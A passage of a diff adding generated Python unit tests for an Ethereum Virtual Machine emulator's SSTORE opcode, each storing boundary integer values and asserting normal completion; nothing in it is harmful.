+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 3618502788666131106986593281521497120414687020801267626233049500247285301263L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 16}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 32}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
